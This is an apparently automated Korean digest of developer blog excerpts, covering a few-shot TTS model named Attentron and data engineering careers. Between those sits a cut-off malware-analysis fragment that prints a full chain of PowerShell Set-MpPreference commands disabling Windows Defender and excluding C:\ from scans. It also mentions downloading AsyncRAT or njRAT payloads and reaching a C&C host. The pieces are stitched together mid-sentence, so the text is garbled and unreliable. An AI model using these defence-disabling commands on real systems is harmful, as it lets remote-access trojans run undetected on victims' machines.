2020-11-30 18시 개발자 글 모음 | "CodeBuild Report를 통한" 외 10개 이야기

글이 나오지 않는다는 것 by 이치웅

기존의 방법들로는 한시간 이상의 스튜디오에서 녹음된 학습 데이터를 필요로 하는 반면 저희는 훨씬 적은 양의 더 쉬운 녹음 방식으로 얻은 학습 데이터로 음성 합성 기능을 제공할 수 있습니다
저희 팀에서는 특별히 녹음을 해서 데이터를 수집하지 않고 적은 숫자의 녹음된 데이터만 가지고도 학습시킬 수 있는 TTS 를 만들고 싶었기 때문에 학습에 필요한 데이터의 양을 줄이는 것이 아주 중요한 목표였습니다
저희는 만들어진 모델을 Attentron 이라고 부르며 Attentron 모델은 attention 을 활용하여 따라하고자 하는 화자의 특징에 대한 정보를 스펙트로그램으로부터 직접 가져올 수 있습니다

]com/raw/gepimawuqo’에서 다운로드한 페이로드를 Base 64 디코딩하여 인젝션합니다
Set-MpPreference -DisableRealtimeMonitoring $true Set-MpPreference -DisableBehaviorMonitoring $true Set-MpPreference -DisableBlockAtFirstSeen $true Set-MpPreference -DisableIOAVProtection $true Set-MpPreference -DisablePrivacyMode $true Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true Set-MpPreference -DisableArchiveScanning $true Set-MpPreference -DisableIntrusionPreventionSystem $true Set-MpPreference -DisableScriptScanning $true Set-MpPreference -SubmitSamplesConsent 2 Set-MpPreference -MAPSReporting 0 Set-MpPreference -HighThreatDefaultAction 6 -Force Set-MpPreference -ModerateThreatDefaultAction 6 Set-MpPreference -LowThreatDefaultAction 6 Set-MpPreference -SevereThreatDefaultAction 6 Add-MpPreference -ExclusionPath C:\\
]com’을 사용해 AsyncRAT 혹은 njRAT 페이로드를 다운로드 및 C&C(gmlgml[

베리 베리 빅 데이터를 꿈 꿀 것이고 그럴수록 더더욱 데이터의 가치는 더욱 중요해질 것이고 그러니 앞으로도 데이터 엔지니어와 데이터 사이언티스트가 많이 필요하다는 사실이겠죠!
위 그림에서 또 알 수 있는 것이 있는데 본인이 데이터에 관심이 많은 프로그래머라면 데이터 엔지니어에 더 적합하고 본인이 데이터에 관심이 많은 분석가라면 데이터 사이언티스트에 더 적합하다고 할 수 있겠네요
앞서 이야기한 기술들을 능숙하게 다루고 분석을 잘 한단 얘기는 이미 빅 데이터 환경에서 일하는 데이터 엔지니어일 것입니다